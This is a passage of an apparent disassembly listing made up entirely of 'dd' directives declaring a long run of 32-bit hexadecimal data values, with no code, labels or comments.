		dd 0E5354CC2h, 2E495F03h, 85B72924h, 520818EDh,	8007BBAh
		dd 0D501564Fh, 92EB295Ah, 515D0B04h, 7932E189h,	9F2A060h
		dd 0A9380724h, 964B3000h, 0B0D3F754h, 13321CDCh, 1A6C60h
		dd 2E056A3Bh, 0ECDCCB01h, 0A73372C5h, 8EC3C300h, 0FE8048C8h
		dd 0BEE93FD9h, 20763659h, 29245432h, 220771DAh,	8239FD64h
		dd 1D086A9h, 2002EFC1h,	6F5818F6h, 1C8B85E7h, 474BCB75h
		dd 38E98CE9h, 40D40B2Dh, 0B186663Ch, 0C31E2727h, 245868h
		dd 0BC8255EBh, 0A2C1C230h, 0B9A1807Eh, 49651E19h, 50BADEF7h
		dd 7A582C8Eh, 58581210h, 1F3B6810h, 714CF021h, 178080EDh
		dd 1E665BCBh, 0D33F38E8h, 7B0F9127h, 8BF5EBC7h,	5810DE0Dh
		dd 0A1925483h, 0D6964B99h, 56EF230Dh, 81B83241h, 99FE37B4h
		dd 0C2EE70Dh, 0BD6AD952h, 0CC738F51h, 9287FE40h, 8D959601h
		dd 2168E5EFh, 742CE9CCh, 859CBBC1h, 51D97A0h, 0C3AEC630h
		dd 0AB5AF30Ah, 0A6098A28h, 20FE4CE9h, 3F91BEC2h, 4B537BA1h
		dd 66FA01F9h, 6002B60Fh, 0C4E07C9h, 5FE9F742h, 29FA0C64h
		dd 7C283713h, 0A5EC401h, 86038BBh, 147A09CAh, 0D78A666Ch
		dd 23090C13h, 0EE01FA26h, 0D1892F63h, 3FE345E9h, 0F6034E84h
		dd 625C1350h, 2540C09h,	912F0229h, 0C220EA87h, 9176882Dh
		dd 383A8149h, 3420572Bh, 507A205h, 0EB88E7EDh, 3A451234h
		dd 138501F2h, 0ED0F4D68h, 44DC385Dh, 0A8A15AAAh, 4128F71h
		dd 52590036h, 487E6850h, 0E9C54112h, 5B040E5h, 0DA53A3Eh
		dd 3FA23501h, 0C2019087h, 0A509CF54h, 29CA99Dh,	40781BB1h
		dd 803ABCA3h, 0C119DDF7h, 830A07E5h, 10934421h,	0A40D0008h
		dd 9A71D59h, 185DEB3Eh,	4BE07E3h, 0FE3F0977h, 0AB23DE89h
		dd 12F4A2E9h, 723A0801h, 0F68E4B61h, 45A62FA5h,	3960B45Dh
		dd 0B35AB124h, 6A6AFE0Ch, 643F9CE2h, 5805A534h,	0D360663Ch
		dd 93E99C08h, 9632D0CEh, 51D610h, 711189B9h, 1350BB39h
		dd 5338F854h, 0EEE75F2Dh, 0C8A53C30h, 0DCC7D71Ah, 0F1930113h
		dd 0BD690E5Fh, 25A91E2Bh, 14A3500h, 289006A6h, 0A2D06F04h
		dd 8EC12903h, 8024EE31h, 254CB056h, 0A912C681h,	8CC00629h
		dd 0F849ECE9h, 0FC6C300Eh, 7DB71E55h, 68E35968h, 12BE164Bh
		dd 0F256D7B8h, 0E9021342h, 0D9EA0A7h, 0DE651Bh,	70F22509h
		dd 160568E4h, 58BC6201h, 932DD0F7h, 267E7FC8h, 946C501h
		dd 38E836F8h, 524CDE87h, 553025Eh, 8FBA341Bh, 2996C2D9h
		dd 0EACF60CAh, 363C133Ah, 1B7D46Ah, 65246680h, 0A9283041h
		dd 113ACA13h, 215A3E05h, 0E9C1EB80h, 0E2685107h, 0F9C4CC3Ch
		dd 7E2DCE88h, 18555888h, 2630A9E9h, 300ADBDh, 57BA0C43h
		dd 0C0F3BCFCh, 451F6192h, 0A0ED0171h, 0E9260882h, 6885A892h
		dd 0D0A25BA8h, 690ABF00h, 0EF81108Ah, 7C4C380Bh, 0D965806Ch
		dd 711E3054h, 17ED904Dh, 9607AE7h, 44A41B11h, 7D388154h
		dd 0F0654845h, 24684240h, 67D064CFh, 0C9E54455h, 172CA4D2h
		dd 5812966Ah, 968EFA37h, 6C5A5CC2h, 7ACF82BCh, 0A9B349Ah
		dd 8119805Fh, 0B012CEF1h, 6A12D467h, 0E92E4E09h, 809E0C84h
		dd 4FACA54h, 9744257h, 994D41C4h, 7042400Bh, 0BE7817B2h
		dd 93F2A0Ch, 83155853h,	6857D100h, 507810C0h, 17B3B05Fh
		dd 4714E903h, 72E0B060h, 0CD526B52h, 9A44C30Ch,	19A00C4Ah
		dd 86255018h, 0D8C0056Ah
		dd 48474513h, 1A7F737Ch, 5A61E540h, 50F7B187h, 0E93DF816h
		dd 318AD954h, 0B733B0CCh, 0F0285849h, 4BD20492h, 0A2BD0E54h
		dd 0E027C40Bh, 1D10E369h, 0B2C13996h, 0DBA0ABB2h, 1E2DFE05h
		dd 0EE32E77Ah, 61561423h, 46E64255h, 0E5B13DC1h, 0DB491618h
		dd 272C0DE3h, 0EB0B38B3h, 0D4190074h, 325BDD31h, 6898E801h
		dd 7C4BE00h, 8903157Bh,	5E2BB6F1h, 0C9023BF3h, 530B3E64h
		dd 2743EC80h, 0E91349F2h, 6E47147Ch, 315FAD1h, 94DF8DA4h
		dd 150225D2h, 0EA60575Ah, 0B8833570h, 4881E789h, 0E0C439C7h
		dd 6310948h, 0F6063384h, 16ACBA27h, 4AE1F65Ch, 0A7F6CCB5h
		dd 305B0832h, 3DAE6880h, 96581697h, 51500B5h, 7ED5E94Eh
		dd 0CBBF75C6h, 0DFF728A6h, 0D10439E9h, 990EBDC8h, 296086B7h
		dd 0E2E95FFAh, 0C193EBDFh, 125C7E98h, 30257868h, 0E92EB763h
		dd 14161D32h, 67B0DA5Dh, 1F5E6F88h, 0E202C144h,	26279324h
		dd 0D2880444h, 1A3930E9h, 45C1BB4Ch, 433D0200h,	4EDDC381h
		dd 0E9B10D06h, 2228B65h, 0B5484DBEh, 67681768h,	0A024EB99h
		dd 7E8F3F1Fh, 80CE297Ah, 2097E69Bh, 0C13801FDh,	0B7E906EEh
		dd 90A6ADCCh, 9E4490F9h, 0E1C4E9E2h, 19D71D6Ah,	70C4ACC9h
		dd 0F7B0543h, 99CB3144h, 0D55DA26Ch, 3F5B5158h,	110294BDh
		dd 302601D6h, 0E6C108D0h, 4B6F9496h, 0F1C43329h, 0F0AF3DDFh
		dd 453DE314h, 4051D310h, 2512EDE3h, 35003F14h, 35380A5Ch
		dd 1CF76829h, 141C3408h, 87E17F14h, 8BFA683Ch, 7F6CE8B8h
		dd 62DDBC3Fh, 5A011D3Ah, 0D520EF80h, 7F5B7EF8h,	0E9D609CAh
		dd 0E9446ECCh, 45257090h, 4FBDA42Eh, 4C0F1083h,	0D3260810h
		dd 415317E6h, 0EBC158FAh, 0B2A94205h, 0F708F860h, 2C7D948h
		dd 0D2E44C9h, 63EB5901h, 0D704D821h, 15A2685Bh,	8430812h
		dd 0C48A5213h, 137D6110h, 5906DA29h, 0FEB82B3h,	0F8315DEFh
		dd 0A942CA4Bh, 689A8E82h, 1B3EE210h, 9E0177B9h,	5B080CF5h
		dd 9D91021Eh, 1A663542h, 0E92AE396h, 73E9F051h,	960C25C1h
		dd 0F5C4C00h, 7D68C805h, 0CBCE6149h, 6A25C9h, 5D5390FDh
		dd 30C31458h, 18F3BB22h, 0E27B0C58h, 0E5AEDD09h, 2835E607h
		dd 8999F771h, 2B7300D2h, 28EB2946h, 20968F5Dh, 0F70180ECh
		dd 3CC50DD8h, 76F07247h, 8888B461h, 880E10E5h, 0EDF44AFEh
		dd 3083C60Bh, 80858CB0h, 5E2CF229h, 7688AA87h, 0C6010117h
		dd 68219E68h, 43E0C0A0h, 645029A8h, 8758E8FFh, 30036D10h
		dd 0D6B859BBh, 37786Bh,	4E5BBDFCh, 2D7309EFh, 0AE0E2953h
		dd 1805E865h, 88C9B207h, 3505E80h, 35616856h, 0F0C52EF7h
		dd 9B03F64Dh, 89D108CAh, 0A4E9D9F0h, 0D029C651h, 3D2E08Bh
		dd 0E422F712h, 350FD96Bh, 9AB52CCBh, 0E8864C09h, 0D3CFBEFAh
		dd 2822CB22h, 2F49E352h, 0CCDD6B3Ah, 14784938h,	0A205E54Ch
		dd 0A1161208h, 49A53857h, 631361Eh, 93EBB30Ch, 6816C058h
		dd 98AC6746h, 0C1923199h, 0C6C315D4h, 0F8190074h, 515B4904h
		dd 2805B3B5h, 0AC2C59E8h, 2DE9ADD8h, 683A58F6h,	0A3A8F771h
		dd 5AC0F161h, 742CD5F7h, 12CE8A4Ah, 0CA86D6E9h,	202490C5h
		dd 0B62876A2h, 0C4B28495h, 6AB85005h, 0EC0D1952h, 114025E7h
		dd 5F22814h, 16FEBB70h,	93FDF1AEh, 0C600AD21h, 354F03DCh
		dd 1E55E242h, 4048A9BDh, 5E5C157h, 510DF581h, 0AC496907h
		dd 1041696h, 1D3E7DC7h,	9B1E2ABDh, 9C9EF240h, 1705379Dh
		dd 42D525Fh, 8C633103h,	55485D7Eh, 277A2775h, 3200CD95h
		dd 28BB5322h, 0B0C25413h, 39315EE2h, 429A32F7h,	3822591h
		dd 94EF88A9h, 170357C1h, 4B6602h, 89F51A5h, 12C3680Dh
		dd 0F11A544h, 0D6F78581h, 25C00752h, 8042C768h,	0CBA7DE9h
		dd 0DC2BA04h, 82C23577h, 26FC7805h, 1391E47Bh, 0D2DFC604h
		dd 0B44CDA17h, 2729CC4Fh, 704E2ADFh, 2BC6F825h,	0A5B6C3F0h
		dd 28B5EBE0h, 29623F1Bh, 841E5F8h, 99EAA6E9h, 142B5FACh
		dd 964A0432h, 585B5232h, 0CAA32D44h, 0C7588813h, 0F9435741h
		dd 83E31A77h, 148427E2h, 8BF6D537h, 0C8335C1h, 0AB30ECF5h
		dd 0FC3413ADh, 0E0BA013Eh, 607D0830h, 5A7BE9BFh, 0C6FE5FC4h
		dd 4E602414h, 56400207h, 33EF012Ch, 5E13F92Eh, 0E8C1F120h
		dd 0F3314C08h, 47721018h, 0FBD3332Ah, 305F114Dh, 7CE9EE4Ch
		dd 806CBC0Fh, 4B0E7D92h, 0D7AADAF7h, 0EA701758h, 0A4E68505h
		dd 569193E9h, 84DCFD31h, 8992B487h, 64662241h, 23306817h
		dd 0E954B330h, 0B8E369C5h, 7A26AA65h, 0B06A0809h, 3C7E38E4h
		dd 423B0EBEh, 6FD98B3Dh, 0C14A29C7h, 5CDF18E9h,	9FAA5FD8h
		dd 0F25DF185h, 978BD44Bh, 0BC89D0Fh, 42DB8651h,	3EE3853Bh
		dd 47797C93h, 30F0B020h, 8853E2B4h, 2710E748h, 0C4869AEEh
		dd 4B577E98h, 0D54814F1h, 0D8EE5D6Bh, 2CE90244h, 489B63DFh
		dd 350303E9h, 1E82504Fh, 1490B4F8h, 3ADA9725h, 0BE06D02Dh
		dd 0E90D6CB3h, 2FD82830h, 123C1AC3h, 0A0890C40h, 0FD75F623h
		dd 70090A4Ah, 6861213Dh, 0C5541E20h, 88812182h,	8B0A35ABh
		dd 50E0C42Ch, 0C1F4A1E9h, 94D1F767h, 0C8B16013h, 8B177F9Eh
		dd 3D2B633Dh, 2EEF692Eh, 2893CC3Eh, 44D95704h, 20585B07h
		dd 0D2F6CAFEh, 6D6852F8h, 0EE09B718h, 277C6576h, 59DC2100h
		dd 0A090221Ch, 5A13679Eh, 4DB64784h, 68404F3Dh,	2173EC2Ah
		dd 0AD9244FAh, 0AC2B901h, 0C18365FEh, 410EE45h,	0D78712EEh
		dd 50089B19h, 1953DB30h, 5845E963h, 0ADAD0456h,	0F13664h
		dd 0AE779ABEh, 8284BE28h, 6CD146D5h, 52344CC0h,	0E07AB025h
		dd 245908A6h, 8CA5C0E9h, 1510CB31h, 0B829D440h,	0C3892F01h
		dd 7A850280h, 0E39025E4h, 8146B09h, 220D81Eh, 0E9FCE6B0h
		dd 49EC1610h, 6F86812h,	0DC413E89h, 0CC4D5559h,	0F162C32h
		dd 0A6B991BBh, 81BB38C4h, 9854DFB9h, 5912DC68h,	0D017F35Dh
		dd 8983C823h, 0EF715450h, 74E290BEh, 0A96FF958h, 852044h
		dd 7102CF81h, 0B0144C7Fh, 0B215AC04h, 44230072h, 27E96CA2h
		dd 28495EF4h, 0B12C4138h, 1C765610h, 9E1AFF05h,	6CB3317Ch
		dd 0A7CD294Bh, 80F34E0Ch, 0AAF9794Dh, 31B4C087h, 685B09D8h
		dd 88985E98h, 364877E9h, 45B836Fh, 2CD881EEh, 3C1FF1D3h
		dd 0D84A8A27h, 0D165CD77h, 369C5D62h, 2E68ECEDh, 69D666D7h
		dd 7BE94B10h, 0FDA37054h, 3328A9B3h, 0F5567400h, 96C9817Ah
		dd 3950243Fh, 0E94104E6h, 0C59EC6Ah, 601EA80h, 362C3EB5h
		dd 88695896h, 422A689Eh, 72A03D06h, 9383ED49h, 9183D777h
		dd 0AC0E45C3h, 9A3790E0h, 4AD77F7Ah, 0A5575008h, 0EE74B504h
		dd 23AC46Fh, 12DC6856h,	41BEA499h, 0A7F52913h, 34234557h
		dd 0C53EBD0Ch, 0B6C9E889h, 0ED586826h, 0B7721A00h, 96FE96Eh
		dd 0E69A37ABh, 80951DECh, 79095EA9h, 51898229h,	2C0B7088h
		dd 0B8E23C2Ch, 0DB1A754Dh, 0DB1E2F9Ch, 2A4AE090h, 6109129h
		dd 0AD1C209h, 413C68E2h, 98677B55h, 0F199EE8Ch,	1FE62EF0h
		dd 2BC84B72h, 6704378Bh, 6B75E8C4h, 0F9F70585h,	695DAA52h
		dd 0E94886BCh, 1228F5F8h, 175A665Bh, 0B7EF305Fh, 38482C55h
		dd 5BE87A70h, 2AB1511Eh, 29E9C802h, 3FC1FA75h, 3585F91Fh
		dd 8114BCEDh, 593C6B99h, 0BFBA3075h, 6C642990h,	14E4F7D3h
		dd 0C0D54D8Fh, 0C079234Bh, 57FE1E79h, 0F3D1C26Fh, 0C010A78Eh
		dd 474350EBh, 319EB3F0h, 53595407h, 667E0682h, 9FBB6B14h
		dd 255CCC80h, 12D115Ah,	81FBA2D3h, 6B27D4DEh, 0DF603DE2h
		dd 0BFC963DDh, 0A434F9D7h
		dd 0E46E0328h, 0FEF12D39h, 3150F6E9h, 0C175F7EAh, 6E7FA9EDh
		dd 89E85949h, 9732EB01h, 156AFE7Ch, 4E9B864Ch, 882A74FCh
		dd 605A805Fh, 0C9439A45h, 76E4F15Dh, 84490C3Dh,	0E02AE74h
		dd 5368AE56h, 3C20404Eh, 3389E94Eh, 0E4C68BCEh,	97C88165h
		dd 0C4720420h, 0C4CF292Ah, 0E90802CEh, 58796660h, 0EA0B549Bh
		dd 4B5BD082h, 0D1693587h, 20C931h, 9AE654E9h, 4FF3021Ch
		dd 89AC17B5h, 0CB70D478h, 0FCAD9C97h, 0C45FD04Eh, 5E75C28h
		dd 5917191Eh, 12D07421h, 76E06B3h, 0A0002848h, 812E9057h
		dd 454CBF2h, 0EAC14E4Fh, 660EE008h, 6292112h, 22D7FAD7h
		dd 0DDC7B5D3h, 0EF852D37h, 7B7C9000h, 34E93282h, 0AC985D71h
		dd 2E307887h, 0F9CBDFEEh, 693D1931h, 0C642864Bh, 6AC1A042h
		dd 0DEC56D15h, 0F03B61DAh, 29B430CCh, 25CFED25h, 3101ACE2h
		dd 0E7C15DEFh, 80204F08h, 0FD31FD87h, 0F5E90889h, 50585820h
		dd 96DD8AB0h, 346809Fh,	20AD9F6h, 59CA88F4h, 6D93D030h
		dd 0C548C3C2h, 17256866h, 8DD2110Bh, 0C2D525EFh, 54429249h
		dd 3F4E8976h, 5FE05F27h, 761B5E10h, 8E8D001h, 0E9B0F25Ch
		dd 0B8B3727Ah, 5AC57B0Dh, 9D107563h, 505A7E7Dh,	89C72490h
		dd 74117DFBh, 975F7329h, 4B2B40ABh, 1511A05h, 0E8A1E249h
		dd 112B6992h, 326B3FF2h, 1F72E040h, 0DCC07A5Ah,	76DD7046h
		dd 95E20134h, 0E91C3B32h, 18E13CC1h, 0D682CF01h, 6A6D2705h
		dd 0B9067494h, 70596B11h, 8AD1A32Ch, 0A4BC5948h, 5568C2C1h
		dd 0E3C01FCAh, 53800F7Eh, 4FE209BBh, 2480507Dh,	11D95965h
		dd 0C1D3F702h, 0D05307EBh, 4B5B179Dh, 83001356h, 9E485F43h
		dd 24E8E43Ch, 35385727h, 4A4AE95Ch, 5451A306h, 74DD20B2h
		dd 36F9BA00h, 0D08921A4h, 0EC38E95Ah, 81777493h, 20135C6Ah
		dd 360E3B1h, 79B19CB6h,	0DF010967h, 4888835Bh, 0FCE94240h
		dd 625CD369h, 0F75F68F9h, 5D001610h, 0EE81CE29h, 0A0121835h
		dd 0F2B45938h, 39692DAh, 512EADBBh, 0B88C437Dh,	0D71180A5h
		dd 9A018892h, 0E1839033h, 27E52DC0h, 5CE18D77h,	4C69A528h
		dd 16BF0928h, 3C50344Ah, 5DE82113h, 4A84D7E0h, 77EF90F9h
		dd 120E928h, 14F993F6h,	805A2851h, 1D600D70h, 0CA811B1Dh
		dd 31D31F5Ch, 6103E392h, 4024054Bh, 1F800B5h, 5AD18971h
		dd 3AEDE6E9h, 30EF2F30h, 5D1D3F3Fh, 79608A27h, 806CC0B1h
		dd 58750646h, 5F16E020h, 6DD8B16h, 41DC1F01h, 48B50A0Ch
		dd 1980C70h, 4BC764E2h,	0C6E9F001h, 65EF099Dh, 0F5013BEBh
		dd 7B7753D9h, 92B2701h,	0C81AD3E9h, 80FA173Ah, 0F71E8166h
		dd 0D489576Ch, 0D01FA5D2h, 742F6E9Dh, 0A2C2EC8Eh, 7E2A055h
		dd 2DE960BEh, 756F775Bh, 30BE2B08h, 6DB5BB3Ah, 809D2075h
		dd 292FE39Ah, 0D1183B84h, 3225E258h, 0AC76E932h, 0EA2DCA32h
		dd 65DED969h, 7D88C1F6h, 0F2C5127Ah, 40459065h,	0B0985C63h
		dd 2F61BE2Dh, 6033C9D5h, 70C680DAh, 0EED5E741h,	0E46160D6h
		dd 0CB298069h, 6A5ED4A2h, 9257B42h, 1E0BF680h, 0BA7D3353h
		dd 0FBC00BD7h, 5BE9D001h, 0BF8BC39Ah, 3D2E50D8h, 0B2DBD31h
		dd 28A6FD31h, 21AE267Dh, 1CC11799h, 828392A5h, 9C8052F3h
		dd 16AC0C1Ch, 0C99D4351h, 0AD9F41DBh, 6073FD22h, 23051CE9h
		dd 3DE93A0Fh, 974261F0h, 14AC4E00h, 6E9022C5h, 5A352602h
		dd 96D73102h, 4923B4F8h, 0A9713E85h, 3A790404h,	9B01402Ah
		dd 836C1A0Dh, 0E1483E18h, 820C06FDh, 665E7603h,	0D36B1718h
		dd 82C129C6h, 0B8307546h, 15EB5946h, 789A2935h,	2D0820B2h
		dd 950113E9h, 2C6BD568h, 3D49D2D4h, 52F92C55h, 0CBC60FAh
		dd 6678132Dh, 5C84E65h,	77E90704h, 265861E0h, 3D8EE1C1h
		dd 7CE1400h, 2BCB0532h,	20087AEFh, 6AB6096Ch, 289C0500h
		dd 4395AF0h, 0E9A60FD9h, 4ED9B7BFh, 9E527CF5h, 898D64CEh
		dd 4C7BD2E5h, 8FA3A923h, 5B624750h, 672D84B6h, 0C1E7AC4Dh
		dd 38A2E953h, 54570067h, 45BE565Fh, 1746176Ch, 0C1070E83h
		dd 74680267h, 2FE9F330h, 9083F033h, 0DDFEE477h,	87D64F08h
		dd 3F0A0013h, 17E459Bh,	0AC3FCD96h, 34035B5Eh, 0F7746467h
		dd 0F3E9DD91h, 5A16CD3Ch, 0CBF61259h, 958320F8h, 0BC2B7B30h
		dd 0F46C1BB5h, 0F0D41C10h, 1C722810h, 0D01FD62Ch, 1B884FBAh
		dd 0A5394C5Fh, 47F0CEB3h, 0F6F84576h, 29C64104h, 72E489DFh
		dd 2FD259E9h, 618F614Bh, 0C7A36C4Eh, 4F3458FBh,	2DFDC8A1h
		dd 735AC310h, 0B539493Dh, 0FB0135EEh, 4B62BAD5h, 824F6738h
		dd 8270DF73h, 70BA6877h, 4752C2F4h, 7090034h, 0E8C17E23h
		dd 306C002h, 1905D0F7h,	7F163A1Dh, 0AC7C9240h, 4A2D67h
		dd 0C1AE2A3Bh, 0E94803E0h, 0BF85EF60h, 144A2011h, 0DBF90133h
		dd 206AD124h, 0D75A4A0Bh, 0BB6BA193h, 0C12EC6FFh, 7DA930C9h
		dd 0DE538E42h, 0BD75825h, 312D6681h, 0A5A9E626h, 0D222E366h
		dd 0BB3A2214h, 36A5CE05h, 0E9054912h, 0C2B7D4EDh, 20F724Fh
		dd 0E3123324h, 0ED849E0h, 16E92FB7h, 0CC581B4h,	388F7EB2h
		dd 601F920Ch, 0ED011D94h, 78E7364Ch, 4FE9A930h,	0D46F85E1h
		dd 613AB4ADh, 14CFF64Ah, 360F277Fh, 32DE5927h, 0BE5166F4h
		dd 0C90080A4h, 0E9153107h, 0D1F85AADh, 3C1FCFA1h, 39DC0B8h
		dd 60B96796h, 0C1810BA1h, 400A4C0Eh, 0D8F12973h, 16970820h
		dd 0CF01251Eh, 0B12A57C5h, 4B40F298h, 5EF1CC0h,	0D31BDE80h
		dd 509DA0C5h, 5BCBB805h, 0ED0206B6h, 0F070B2F9h, 1AE9178Fh
		dd 54008A3Bh, 62407E98h, 65680650h, 3445FC7Dh, 6619BA67h
		dd 0A226DA5Ah, 5ADED31Dh, 67C88F6Dh, 1C33DB2h, 180E645Ch
		dd 0A5F9346Ch, 9400F22Dh, 0CEFE8EB6h, 0EB58B498h, 0A5013FC1h
		dd 0E6774254h, 0A878FF9Bh, 0E75E87A2h, 96B9F650h, 81044F8Bh
		dd 3560F342h, 63E921E6h, 0BC4B3592h, 4BABD47Ch,	59A20BD2h
		dd 6FE80F0Ah, 60A72A0Bh, 4B1B50CBh, 0E313C176h,	0CC004302h
		dd 0A4C334BCh, 58F35829h, 714C7186h, 48A68CDCh,	0D1FB0BC9h
		dd 6B6AD2h, 7D4321EFh, 28D0DD01h, 0F78B5A08h, 0D2CD184Ch
		dd 6CCE430Ch, 0C380F50Eh, 36EB6068h, 0F2E7B753h, 65F60C7h
		dd 0ACB050FCh, 0E9E0D004h, 49A86809h, 45515EC9h, 695213BFh
		dd 1C8C6A64h, 5A4B40F2h, 1A07C798h, 89696C40h, 5E045CBh
		dd 8D76A0E9h, 68D05054h, 0BAA1108h, 97521461h, 32CD7294h
		dd 1B3319E5h, 45545C26h, 28DEB02Bh, 24ED048h, 0C058C308h
		dd 0B39243E3h, 0FE659F04h, 0BA80CDA8h, 0DA92240h, 0A10262B8h
		dd 0C156F675h, 12086BEAh, 0A05266D3h, 5D992C2Bh, 39D50900h
		dd 0FAFD292Bh, 0D11D5E88h, 74B8B2A4h, 0ED0FBADDh, 6920946Dh
		dd 5E119224h, 0EC1208D0h, 9E055901h, 0C0D2FE23h, 0E405F2Eh
		dd 0F831EA5Dh, 304289C2h, 335C36EAh, 2513672Ch,	344E07B3h
		dd 0D851F21h, 0F88570E9h, 0FCA159EBh, 2ED9D921h, 6A344345h
		dd 0F34684B6h, 61C7165Ah, 3B76E966h, 15B8EE03h,	2933E879h
		dd 65873C5h, 3E95DE8h, 80BC20D7h, 29C9656Fh, 9327F84Ch
		dd 9865BE21h, 0E82D131Eh, 4F03D91Ah, 2D347E14h,	52E5092Bh
		dd 4E32142Fh, 4AB8CBEFh, 582542B6h, 1A71251h, 0CE22E945h
		dd 34B6402Bh, 5D68D921h, 246B23BEh, 0AFB2568Bh,	40319E10h
		dd 0C45B35E2h, 0B1E29A27h, 8079C5CEh, 9259A5E2h, 0E927425Eh
		dd 50DE8BCAh, 0EC9FE1Fh, 0C21580Dh, 9AB83DEh, 0CEF21CDFh
		dd 0B30F0978h, 29C3FE3Ch, 5EC4023h, 72EF1E3Fh, 56219271h
		dd 24FF1FD7h, 0CC28170Eh
		dd 9E7AB82Eh, 291F8434h, 0AEA996h, 25D8F758h, 2A3D64FDh
		dd 8DD0E92Ch, 45ED6881h, 36E86C7Dh, 0BB34C01Bh,	4ABF06CCh
		dd 59AF0BBFh, 75EE6402h, 0C19E3F81h, 0FE7C104h,	20FE48ABh
		dd 0F230B741h, 0C86F4BF2h, 1BD413C1h, 2EB12DCh,	0DBEDBC06h
		dd 0AF4B014h, 4A5F9CF5h, 8A80CC0h, 43FAEA7Dh, 4246DB27h
		dd 0E0DEC0DCh, 96D601ACh, 3FE9D821h, 0C22D8050h, 46233E26h
		dd 0A46BB658h, 45D392C5h, 0E3B6D15Bh, 2DEF584Dh, 0CABF2258h
		dd 9D9B5508h, 97133E8h,	0BE5A18BDh, 473014E4h, 80BCD0Fh
		dd 9083D6F7h, 0DC9F6A4Ch, 1B2DE917h, 2C626601h,	80E1F9EBh
		dd 0B457B353h, 0DC4C30E7h, 0E47025E5h, 203490D1h, 5F99F08Eh
		dd 0B1B87C64h, 0D85C5F89h, 2226E961h, 0E3932B3Ch, 4B683AA6h
		dd 9E5D22A1h, 0F7652BA7h, 0E4659D9Eh, 9E2D3F22h, 0A6FBB12h
		dd 0A0705B0h, 34AA5759h, 1BD6012Dh, 7A1FDF4Fh, 0C29D4F05h
		dd 5514B722h, 8305A894h, 0B6E902C0h, 0FE1E7FACh, 177A7CC9h
		dd 0C155F180h, 16C4696h, 1A209134h, 21F74033h, 0B031D07Fh
		dd 5BD80FC1h, 2F18E8D8h, 0D989C831h, 896BDB88h,	2B1011F3h
		dd 710BAD94h, 66D131A2h, 955598DBh, 37515519h, 2674D55h
		dd 59B47957h, 629C15Ah,	319123Ah, 0F60A9430h, 8EC73600h
		dd 0E9A1761Dh, 720C4BC8h, 0C2C55673h, 7418272Ch, 712EE29h
		dd 29E182F7h, 0B083D5F2h, 0F84C3066h, 48F143F6h, 3C542E08h
		dd 903057D1h, 6D1F0506h, 80D1F71Eh, 92E0FD5Fh, 5AFEE160h
		dd 7B59CF89h, 555F2601h, 0FE034989h, 46495CF8h,	0F0E0400Eh
		dd 587EC7E4h, 5E85925Ah, 0BC2D4757h, 612A2625h,	9D5F0FDEh
		dd 3EC9CF53h, 0A623ACEBh, 0EE410089h, 0DDF18121h, 460CFC58h
		dd 602E1C1h, 410DD604h,	0EDE6ACF3h, 0A6CD71E9h,	2DC00350h
		dd 5B3646E3h, 6733C27Dh, 74A555D0h, 7448317h, 890F502Dh
		dd 0D7E008D6h, 0CA34B321h, 12B660C3h, 0B9D268ABh, 0A9295F7Bh
		dd 0BD553480h, 78434E70h, 90EEBB00h, 0EB29D3E7h, 110D2DE9h
		dd 0D2C1C113h, 4BCD6319h, 0B84CC98Ah, 0A852A38Bh, 9A89C34Eh
		dd 606B09C1h, 41058C3h,	82B45A88h, 541B8960h, 2803CAAh
		dd 6FD6537Ch, 7266B7FCh, 72AE25Dh, 0D2F723B9h, 27ADE256h
		dd 0A16114C8h, 89A3FC09h, 0AA5385DDh, 642F9DECh, 992176C6h
		dd 83199863h, 0A60BE381h, 2356F67h, 0E166765Eh,	0E47021CEh
		dd 836354E9h, 4A023C05h, 402D7500h, 297A0860h, 7A0F87Ch
		dd 504A6B68h, 190247CDh, 0C07C229h, 9F7CD9Ch, 4468256Bh
		dd 0A9F4C600h, 29093EE7h, 0EF3C8BF9h, 5A5C8E73h, 0CBFE3B6h
		dd 0E4C8BE0Fh, 6C5358C6h, 0ECB3A7C4h, 0EAE3E7ECh, 0F0AD3B20h
		dd 2AD3E398h, 0C3E4D831h, 0CBFE08DEh, 0C82CEE00h, 4C98B252h
		dd 5E146D28h, 0E9D2D93Fh, 596984F6h, 13CBC413h,	0CA81A20Ch
		dd 6CA7ADA6h, 648CC901h, 2A074431h, 9F684918h, 77B83D67h
		dd 33890AA5h, 0C180CD00h, 0CE4A3090h, 0F6C014B2h, 0C01FE9AEh
		dd 10D6B495h, 50482BE9h, 7E2E6535h, 932095D6h, 556781Ch
		dd 2E528179h, 2DD00108h, 0F05A0742h, 94E92F18h,	315F9E02h
		dd 0CE2DB854h, 129A9A1Fh, 0F8E5107Bh, 443824h, 0EF81528Ch
		dd 49AA6E70h, 307F0A26h, 29186AA9h, 68741E6Ch, 9C75E9F8h
		dd 5B6F9ABFh, 0CA0293D5h, 0D314546Ch, 0C88D196h, 0C11927D8h
		dd 60F66806h, 0B4238B7Eh, 6B829F28h, 6603D241h,	4BABB953h
		dd 889E8D29h, 501305Bh,	25FE7EA3h, 95650BE8h, 595C4720h
		dd 682D6E0Fh, 543E60Eh,	70A6A4B9h, 0E50C8092h, 1476C818h
		dd 6451ED01h, 0CD0148A7h, 2D081CA0h, 0D561CBE9h, 0D0992A5Bh
		dd 1291C161h, 0A3A29602h, 0FC665C85h, 0B2168449h, 686DB412h
		dd 1647C027h, 44012E36h, 0C7E9614Dh, 130779D2h,	0F5292A65h
		dd 255AF880h, 4D452FD1h, 0DC4D6DDh, 5BAF731h, 0A7F28950h
		dd 0B25E220Ch, 0AEE91012h, 31803B01h, 503006BBh, 5EC793F3h
		dd 517C323Ah, 0E89263E5h, 0D39811BCh, 6827D088h, 271066A7h
		dd 0D6E273E9h, 5E1E3B51h, 0DC49F4D7h, 98440097h, 0F8AB0A9Eh
		dd 0C9B54990h, 0CC595413h, 8F2E686Eh, 5D456A4Ah, 0F47B2DCAh
		dd 34A99B1h, 0CD451B8h,	81BAB29Ch, 80205C68h, 60BA2620h
		dd 0C3ED4B5Ah, 1848D015h, 5248000Bh, 0CCE9231Dh, 0E967BC08h
		dd 0A4091284h, 0B913F7C1h, 46E02B07h, 0AFC50032h, 87CF29B4h
		dd 40B85FF9h, 3417CAC1h, 0E9D52E03h, 79AEE964h,	46F14828h
		dd 219F2B7Ah, 1FEE2C6Bh, 0F029930Ah, 0D1398885h, 0CA5874F6h
		dd 0B342C90h, 2005B363h, 0BA013698h, 3C6FDA62h,	983AD331h
		dd 39404370h, 0E159725Bh, 8C3522Bh, 0B4056191h,	77A866D4h
		dd 1ED7F61Dh, 805B00FCh, 0E1282AECh, 1C90584Dh,	59621E9h
		dd 6135414Fh, 57EF708Ch, 652481F5h, 5F2EA42h, 0C90DE130h
